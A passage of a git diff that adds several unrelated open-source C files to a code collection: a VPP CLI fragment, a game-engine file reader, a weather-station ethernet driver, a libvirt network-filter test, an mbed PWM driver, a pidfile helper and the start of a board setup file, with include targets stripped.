(set_li_command, static) = { + .path = "set li", + .short_help = + "set li src collector udp-port ", + .function = set_li_command_fn, +}; + +static clib_error_t * +li_init (vlib_main_t * vm) +{ + li_main_t * lm = &li_main; + + lm->vlib_main = vm; + lm->vnet_main = vnet_get_main(); + lm->hit_node_index = li_hit_node.index; + return 0; +} + +VLIB_INIT_FUNCTION(li_init); + diff --git a/pool/shard011/C/0142422_filereader.c b/pool/shard011/C/0142422_filereader.c new file mode 100644 index 0000000000000000000000000000000000000000..22fcc5a1b568c9042d2a1ec04b9fe8f9335609a6 --- /dev/null +++ b/pool/shard011/C/0142422_filereader.c @@ -0,0 +1,115 @@ +/** @file filereader.c + @brief + This file contains movies routines + + TwinEngine: a Little Big Adventure engine + + Copyright (C) 2013 The TwinEngine team \n + Copyright (C) 2008-2013 Prequengine team \n + Copyright (C) 2002-2007 The TwinEngine team \n + + This program is free software; you can redistribute it and/or \n + modify it under the terms of the GNU General Public License \n + as published by the Free Software Foundation; either version 2 \n + of the License, or (at your option) any later version. \n + + This program is distributed in the hope that it will be useful, \n + but WITHOUT ANY WARRANTY; without even the implied warranty of \n + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the \n + GNU General Public License for more details. \n + + You should have received a copy of the GNU General Public License \n + along with this program; if not, write to the Free Software \n + Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + + $URL$ + $Id$ +*/ + +#include "filereader.h" +#include "fcaseopen.h" +#include + +/** Feed buffer from file + @param fr FileReader pointer */ +void frfeed(FileReader* fr) { + fread(fr->buffer, BUFFER_SIZE, 1, fr->fd); + fr->bufferPos = 0; +} + +/** Read file + @param fr FileReader pointer + @param destPtr content destination pointer + @param size size of read characters */ +void frread(FileReader* fr, void* destPtr, uint32 size) { + if (BUFFER_SIZE - fr->bufferPos >= size) { + memcpy(destPtr, &fr->buffer[fr->bufferPos], size); + fr->bufferPos += size; + } else { + // feed what we can + int8* tempPtr = (int8*)destPtr; + memcpy(tempPtr, &fr->buffer[fr->bufferPos], BUFFER_SIZE - fr->bufferPos); + tempPtr += BUFFER_SIZE - fr->bufferPos; + size -= BUFFER_SIZE - fr->bufferPos; + + // feed the rest + do { + fr->currSector++; + frfeed(fr); + if (size >= BUFFER_SIZE) { + memcpy(tempPtr, fr->buffer, BUFFER_SIZE); + tempPtr += BUFFER_SIZE; + size -= BUFFER_SIZE; + } else { + memcpy(tempPtr, fr->buffer, size); + fr->bufferPos += size; + size = 0; + } + } while (size > 0); + } +} + +/** Seek file + @param fr FileReader pointer + @param seekPosition position to seek */ +void frseek(FileReader* fr, uint32 seekPosition) { + uint32 sectorToSeek; + + sectorToSeek = seekPosition / 2048; + + fseek(fr->fd, sectorToSeek * 2048, SEEK_SET); + + fr->currSector = sectorToSeek; + frfeed(fr); + fr->bufferPos = (seekPosition - (sectorToSeek * 2048)); +} + +/** Open file + @param fr FileReader pointer + @param filename file path + @return true if file open and false if error occurred */ +int32 fropen2(FileReader* fr, char* filename, const char* mode) { + fr->fd = fcaseopen(filename, mode); + + if (fr->fd) { + fr->currSector = 0; + frfeed(fr); + return 1; + } + + return 0; +} + +/** Write file + @param fr FileReader pointer + @param destPtr content destination pointer + @param size size of read characters */ +void frwrite(FileReader* fr, void* destPtr, uint32 size, uint32 count) { + fwrite(destPtr, size, count, fr->fd); +} + +/** Close file + @param fr FileReader pointer */ +void frclose(FileReader* fr) { + fclose(fr->fd); +} diff --git a/pool/shard011/C/0142423_ethernet.c b/pool/shard011/C/0142423_ethernet.c new file mode 100644 index 0000000000000000000000000000000000000000..fbabff2d98cfd3e8f28527818b610374cc77173d --- /dev/null +++ b/pool/shard011/C/0142423_ethernet.c @@ -0,0 +1,290 @@ +/*--------------------------------------------------------------------------- + + FILENAME: + ethernet.c + + PURPOSE: + Provide utilities for station communication over ethernet via a + transparent port capable terminal server. + + REVISION HISTORY: + Date Engineer Revision Remarks + 06/09/2005 M.S. Teel 0 Original + + NOTES: + wview medium-specific routines to be supplied: + + xxxMediumInit - sets up function pointers and work area + xxxInit - opens the interface and configures it + xxxRead - blocking read until specified bytes are read + xxxWrite - write on medium + xxxExit - cleanup and close interface + xxxFlush - flush the input buffer from the VP + xxxDrain - wait/block until the transmit buffer is empty + + See daemon.h for details of the WVIEW_MEDIUM structure. + + LICENSE: + Copyright (c) 2005, Mark S. Teel (mark@teel.ws) + + This source code is released for free distribution under the terms + of the GNU General Public License. + +----------------------------------------------------------------------------*/ + +/* ... System include files +*/ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +/* ... Library include files +*/ +#include +#include + +/* ... Local include files +*/ +#include +#include +#include +#include + +/* ... global memory declarations +*/ + +/* ... local memory +*/ + +static int IsBlocking(RADSOCK_ID id) +{ + int flags; + + if ((flags = fcntl(id->sockfd, F_GETFL, 0)) < 0) + { + return FALSE; + } + + if ((flags & O_NONBLOCK) != 0) + { + return FALSE; + } + else + { + return TRUE; + } +} + + + +////////////////////////////////////////////////////////////////////////////// +// ... medium callback functions +////////////////////////////////////////////////////////////////////////////// + +static int ethernetInit (WVIEW_MEDIUM *med, char *deviceName) +{ + MEDIUM_ETHERNET *eth = (MEDIUM_ETHERNET *)med->workData; + + radMsgLog (PRI_STATUS, "ethernetInit: connecting to station @ %s:%d ...", + eth->host, eth->port); + eth->sockId = radSocketClientCreate (eth->host, eth->port); + if (eth->sockId == NULL) + { + radMsgLog (PRI_HIGH, "ethernetInit: radSocketClientCreate failed for %s:%d", + eth->host, eth->port); + return ERROR; + } + + // make the socket non-blocking + if (radSocketSetBlocking (eth->sockId, FALSE) == ERROR) + { + radMsgLog (PRI_HIGH, "ethernetInit: radSocketSetBlocking failed for %s:%d", + eth->host, eth->port); + radSocketDestroy (eth->sockId); + eth->sockId = NULL; + return ERROR; + } + + // set this so the upper layer can do selects on the socket descriptor + med->fd = radSocketGetDescriptor (eth->sockId); + + return OK; +} + +static void ethernetExit (WVIEW_MEDIUM *med) +{ + MEDIUM_ETHERNET *eth = (MEDIUM_ETHERNET *)med->workData; + + if (eth->sockId) + radSocketDestroy (eth->sockId); + + free (eth); + + return; +} + +static int ethernetWrite (WVIEW_MEDIUM *med, void *buffer, int length) +{ + MEDIUM_ETHERNET *eth = (MEDIUM_ETHERNET *)med->workData; + int retVal; + + retVal = radSocketWriteExact (eth->sockId, buffer, length); + if (retVal != length) + { + radMsgLog (PRI_HIGH, "ethernetWrite: radSocketWriteExact failed: %d: %s", + errno, strerror(errno)); + return ERROR; + } + + return length; +} + +static int ethernetReadExact (WVIEW_MEDIUM *med, void *bfr, int len, int msTimeout) +{ + MEDIUM_ETHERNET *eth = (MEDIUM_ETHERNET *)med->workData; + int rval, cumTime = 0, index = 0; + ULONGLONG readTime; + UCHAR *ptr = (UCHAR *)bfr; + + while (index < len && cumTime < msTimeout) + { + readTime = radTimeGetMSSinceEpoch (); + rval = radSocketReadExact (eth->sockId, &ptr[index], len - index); + if (rval < 0) + { + if (errno != EINTR && errno != EAGAIN) + { + return ERROR; + } + } + else if (IsBlocking(eth->sockId) && rval == 0) + { + // Far-end closed: + return ERROR; + } + else + { + index += rval; + } + + readTime = radTimeGetMSSinceEpoch () - readTime; + cumTime += (int)readTime; + if (index < len && cumTime < msTimeout) + { + readTime = radTimeGetMSSinceEpoch (); + radUtilsSleep (9); + readTime = radTimeGetMSSinceEpoch () - readTime; + cumTime += (int)readTime; + } + } + +#if 0 /* keep this around for debug purposes */ +if (index < len && len > 2) +{ + radMsgLog (PRI_MEDIUM, "ethernetReadExact: read %d of %d:", index, len); + radMsgLogData (ptr, index); +} +#endif + + return ((index == len) ? len : ERROR); +} + + +#define ETH_FLUSH_TIME 20 +static void ethernetFlush (WVIEW_MEDIUM *med, int queue) +{ + MEDIUM_ETHERNET *eth = (MEDIUM_ETHERNET *)med->workData; + UCHAR temp[SERIAL_BYTE_LENGTH_MAX]; + int rval, cumTime = 0; + ULONGLONG readTime; + + while (cumTime < ETH_FLUSH_TIME) + { + readTime = radTimeGetMSSinceEpoch (); + rval = radSocketReadExact (eth->sockId, temp, SERIAL_BYTE_LENGTH_MAX); + if (rval < 0) + { + if (errno != EINTR && errno != EAGAIN) + { + return; + } + } + + readTime = radTimeGetMSSinceEpoch () - readTime; + cumTime += (int)readTime; + + // now wait 5 ms (probably 10 ms on x86) + readTime = radTimeGetMSSinceEpoch (); + radUtilsSleep (5); + readTime = radTimeGetMSSinceEpoch () - readTime; + cumTime += (int)readTime; + + if (cumTime >= ETH_FLUSH_TIME && rval > 0) + { + // out of time, but data is still coming, fudge the time counter + cumTime = ETH_FLUSH_TIME - 1; + } + } + + return; +} + +static void ethernetDrain (WVIEW_MEDIUM *med) +{ + return; +} + +static RADSOCK_ID ethernetGetSocket(WVIEW_MEDIUM *med) +{ + MEDIUM_ETHERNET *eth = (MEDIUM_ETHERNET *)med->workData; + + return eth->sockId; +} + + +/* ... ----- API methods ----- +*/ + +int ethernetMediumInit (WVIEW_MEDIUM *medium, char *hostname, int port) +{ + MEDIUM_ETHERNET *work; + + memset (medium, 0, sizeof (*medium)); + + work = (MEDIUM_ETHERNET *) malloc (sizeof (*work)); + if (work == NULL) + { + return ERROR; + } + memset (work, 0, sizeof (*work)); + + medium->type = MEDIUM_TYPE_DEVICE; + + wvstrncpy (work->host, hostname, sizeof(work->host)); + work->port = port; + + // set our workData pointer for later use + medium->workData = (void *)work; + + medium->init = ethernetInit; + medium->exit = ethernetExit; + medium->read = ethernetReadExact; + medium->write = ethernetWrite; + medium->flush = ethernetFlush; + medium->txdrain = ethernetDrain; + medium->getsocket = ethernetGetSocket; + + return OK; +} + diff --git a/pool/shard011/C/0142424_nwfilterxml2xmltest.c b/pool/shard011/C/0142424_nwfilterxml2xmltest.c new file mode 100644 index 0000000000000000000000000000000000000000..224ca93b856c55589c1e12d1897b58b15ed134e4 --- /dev/null +++ b/pool/shard011/C/0142424_nwfilterxml2xmltest.c @@ -0,0 +1,165 @@ +#include + +#include +#include +#include +#include + +#include +#include + +#include "internal.h" +#include "testutils.h" +#include "xml.h" +#include "threads.h" +#include "nwfilter_params.h" +#include "nwfilter_conf.h" +#include "testutilsqemu.h" + +static int +testCompareXMLToXMLFiles(const char *inxml, const char *outxml, + bool expect_error) +{ + char *inXmlData = NULL; + char *outXmlData = NULL; + char *actual = NULL; + int ret = -1; + virNWFilterDefPtr dev = NULL; + + if (virtTestLoadFile(inxml, &inXmlData) < 0) + goto fail; + if (virtTestLoadFile(outxml, &outXmlData) < 0) + goto fail; + + virResetLastError(); + + if (!(dev = virNWFilterDefParseString(NULL, inXmlData))) + goto fail; + + if (!!virGetLastError() != expect_error) + goto fail; + + if (expect_error) { + /* need to suppress the errors */ + virResetLastError(); + } + + if (!(actual = virNWFilterDefFormat(dev))) + goto fail; + + if (STRNEQ(outXmlData, actual)) { + virtTestDifference(stderr, outXmlData, actual); + goto fail; + } + + ret = 0; + + fail: + VIR_FREE(inXmlData); + VIR_FREE(outXmlData); + VIR_FREE(actual); + virNWFilterDefFree(dev); + return ret; +} + +typedef struct test_parms { + const char *name; + bool expect_warning; +} test_parms; + +static int +testCompareXMLToXMLHelper(const void *data) +{ + int result = -1; + const test_parms *tp = data; + char *inxml = NULL; + char *outxml = NULL; + + if (virAsprintf(&inxml, "%s/nwfilterxml2xmlin/%s.xml", + abs_srcdir, tp->name) < 0 || + virAsprintf(&outxml, "%s/nwfilterxml2xmlout/%s.xml", + abs_srcdir, tp->name) < 0) { + goto cleanup; + } + + result = testCompareXMLToXMLFiles(inxml, outxml, tp->expect_warning); + +cleanup: + VIR_FREE(inxml); + VIR_FREE(outxml); + + return result; +} + +static int +mymain(void) +{ + int ret = 0; + +#define DO_TEST(NAME, EXPECT_WARN) \ + do { \ + test_parms tp = { \ + .name = NAME, \ + .expect_warning = EXPECT_WARN, \ + }; \ + if (virtTestRun("NWFilter XML-2-XML " NAME, \ + 1, testCompareXMLToXMLHelper, (&tp)) < 0) \ + ret = -1; \ + } while (0) + + DO_TEST("mac-test", true); + DO_TEST("vlan-test", true); + DO_TEST("stp-test", false); + DO_TEST("arp-test", true); + DO_TEST("rarp-test", true); + DO_TEST("ip-test", true); + DO_TEST("ipv6-test", true); + + DO_TEST("tcp-test", true); + DO_TEST("udp-test", true); + DO_TEST("icmp-test", true); + DO_TEST("igmp-test", false); + DO_TEST("sctp-test", true); + DO_TEST("udplite-test", false); + DO_TEST("esp-test", false); + DO_TEST("ah-test", false); + DO_TEST("all-test", false); + + DO_TEST("tcp-ipv6-test", true); + DO_TEST("udp-ipv6-test", true); + DO_TEST("icmpv6-test", true); + DO_TEST("sctp-ipv6-test", true); + DO_TEST("udplite-ipv6-test", true); + DO_TEST("esp-ipv6-test", true); + DO_TEST("ah-ipv6-test", true); + DO_TEST("all-ipv6-test", true); + + DO_TEST("ref-test", false); + DO_TEST("ref-rule-test", false); + DO_TEST("ipt-no-macspoof-test", false); + DO_TEST("icmp-direction-test", false); + DO_TEST("icmp-direction2-test", false); + DO_TEST("icmp-direction3-test", false); + + DO_TEST("conntrack-test", false); + + DO_TEST("hex-data-test", true); + + DO_TEST("comment-test", true); + + DO_TEST("example-1", false); + DO_TEST("example-2", false); + + DO_TEST("chain_prefixtest1", true); /* derived from arp-test */ + + DO_TEST("attr-value-test", false); + DO_TEST("iter-test1", false); + DO_TEST("iter-test2", false); + DO_TEST("iter-test3", false); + + DO_TEST("ipset-test", false); + + return ret==0 ? EXIT_SUCCESS : EXIT_FAILURE; +} + +VIRT_TEST_MAIN(mymain) diff --git a/pool/shard011/C/0142425_pwmout_api.c b/pool/shard011/C/0142425_pwmout_api.c new file mode 100644 index 0000000000000000000000000000000000000000..75015aa638e439139f5bb7d658799c7f1cb55cfd --- /dev/null +++ b/pool/shard011/C/0142425_pwmout_api.c @@ -0,0 +1,124 @@ +/* mbed Microcontroller Library + * Copyright (c) 2006-2015 ARM Limited + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +#include "mbed_assert.h" +#include "pwmout_api.h" + +#include "cmsis.h" +#include "pinmap.h" +#include "PeripheralPins.h" + +static float pwm_clock = 0; + +void pwmout_init(pwmout_t* obj, PinName pin) { + // determine the channel + PWMName pwm = (PWMName)pinmap_peripheral(pin, PinMap_PWM); + MBED_ASSERT(pwm != (PWMName)NC); + + uint32_t MGCOUTClock = SystemCoreClock * (1u + ((SIM->CLKDIV1 & SIM_CLKDIV1_OUTDIV1_MASK) >> SIM_CLKDIV1_OUTDIV1_SHIFT)); + uint32_t BusClock = MGCOUTClock / (1u + ((SIM->CLKDIV1 & SIM_CLKDIV1_OUTDIV2_MASK) >> SIM_CLKDIV1_OUTDIV2_SHIFT)); + + uint32_t clkdiv = 0; + float clkval = BusClock / 1000000.0f; + + while (clkval > 1) { + clkdiv++; + clkval /= 2.0; + if (clkdiv == 7) + break; + } + + pwm_clock = clkval; + unsigned int ftm_n = (pwm >> TPM_SHIFT); + unsigned int ch_n = (pwm & 0xFF); + + SIM->SCGC6 |= 1 << (SIM_SCGC6_FTM0_SHIFT + ftm_n); + + FTM_Type *ftm = (FTM_Type *)(FTM0_BASE + 0x1000 * ftm_n); + ftm->CONF |= FTM_CONF_BDMMODE(3); + ftm->SC = FTM_SC_CLKS(1) | FTM_SC_PS(clkdiv); // (clock)MHz / clkdiv ~= (0.75)MHz + ftm->CONTROLS[ch_n].CnSC = (FTM_CnSC_MSB_MASK | FTM_CnSC_ELSB_MASK); /* No Interrupts; High True pulses on Edge Aligned PWM */ + ftm->MODE = FTM_MODE_FTMEN_MASK; + ftm->SYNC = FTM_SYNC_CNTMIN_MASK; + ftm->SYNCONF = FTM_SYNCONF_SYNCMODE_MASK | FTM_SYNCONF_SWSOC_MASK | FTM_SYNCONF_SWWRBUF_MASK; + + //Without SYNCEN set CnV does not seem to update + ftm->COMBINE = FTM_COMBINE_SYNCEN0_MASK | FTM_COMBINE_SYNCEN1_MASK | FTM_COMBINE_SYNCEN2_MASK | FTM_COMBINE_SYNCEN3_MASK; + + obj->CnV = &ftm->CONTROLS[ch_n].CnV; + obj->MOD = &ftm->MOD; + obj->SYNC = &ftm->SYNC; + + // default to 20ms: standard for servos, and fine for e.g. brightness control + pwmout_period_ms(obj, 20); + pwmout_write(obj, 0.0); + + // Wire pinout + pinmap_pinout(pin, PinMap_PWM); +} + +void pwmout_free(pwmout_t* obj) {} + +void pwmout_write(pwmout_t* obj, float value) { + if (value < 0.0) { + value = 0.0; + } else if (value > 1.0) { + value = 1.0; + } + + while(*obj->SYNC & FTM_SYNC_SWSYNC_MASK); + *obj->CnV = (uint32_t)((float)(*obj->MOD + 1) * value); + *obj->SYNC |= FTM_SYNC_SWSYNC_MASK; +} + +float pwmout_read(pwmout_t* obj) { + while(*obj->SYNC & FTM_SYNC_SWSYNC_MASK); + float v = (float)(*obj->CnV) / (float)(*obj->MOD + 1); + return (v > 1.0) ? (1.0) : (v); +} + +void pwmout_period(pwmout_t* obj, float seconds) { + pwmout_period_us(obj, seconds * 1000000.0f); +} + +void pwmout_period_ms(pwmout_t* obj, int ms) { + pwmout_period_us(obj, ms * 1000); +} + +// Set the PWM period, keeping the duty cycle the same. +void pwmout_period_us(pwmout_t* obj, int us) { + float dc = pwmout_read(obj); + *obj->MOD = (uint32_t)(pwm_clock * (float)us) - 1; + *obj->SYNC |= FTM_SYNC_SWSYNC_MASK; + pwmout_write(obj, dc); +} + +void pwmout_pulsewidth(pwmout_t* obj, float seconds) { + pwmout_pulsewidth_us(obj, seconds * 1000000.0f); +} + +void pwmout_pulsewidth_ms(pwmout_t* obj, int ms) { + pwmout_pulsewidth_us(obj, ms * 1000); +} + +void pwmout_pulsewidth_us(pwmout_t* obj, int us) { + *obj->CnV = (uint32_t)(pwm_clock * (float)us); + *obj->SYNC |= FTM_SYNC_SWSYNC_MASK; +} + +const PinMap *pwmout_pinmap() +{ + return PinMap_PWM; +} diff --git a/pool/shard011/C/0142426_pidfile.c b/pool/shard011/C/0142426_pidfile.c new file mode 100644 index 0000000000000000000000000000000000000000..246a64aa1fc2ae4dc917853f86fb0745730effde --- /dev/null +++ b/pool/shard011/C/0142426_pidfile.c @@ -0,0 +1,69 @@ +/* pidfile.c + * + * Functions to assist in the writing and removing of pidfiles. + * + * Russ Dill Soptember 2001 + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + */ + +#include +#include +#include +#include +#include +#include +#include + +#include "debug.h" + +int pidfile_acquire(char *pidfile) +{ + int pid_fd; + if (pidfile == NULL) return -1; + + pid_fd = open(pidfile, O_CREAT | O_WRONLY, 0644); + if (pid_fd < 0) { + LOG(LOG_ERR, "Unable to open pidfile %s: %s\n", + pidfile, strerror(errno)); + } else { + lockf(pid_fd, F_LOCK, 0); + } + + return pid_fd; +} + + +void pidfile_write_release(int pid_fd) +{ + FILE *out; + + if (pid_fd < 0) return; + + if ((out = fdopen(pid_fd, "w")) != NULL) { + fprintf(out, "%d\n", getpid()); + fclose(out); + } + lockf(pid_fd, F_UNLCK, 0); + close(pid_fd); +} + + +void pidfile_delete(char *pidfile) +{ + if (pidfile) unlink(pidfile); +} + + diff --git a/pool/shard011/C/0142427_setup.c b/pool/shard011/C/0142427_setup.c new file mode 100644 index 0000000000000000000000000000000000000000..b37ce9af101267b612e0177a9460e4591aa3e53a --- /dev/null +++ b/pool/shard011/C/0142427_setup.c @@ -0,0 +1,236 @@ +/* + * Board-specific setup code for the MIMC200 + * + * Copyright (C) 2008 Mercury IMC Ltd + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + */ + +extern struct atmel_lcdfb_info mimc200_lcdc_data; + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include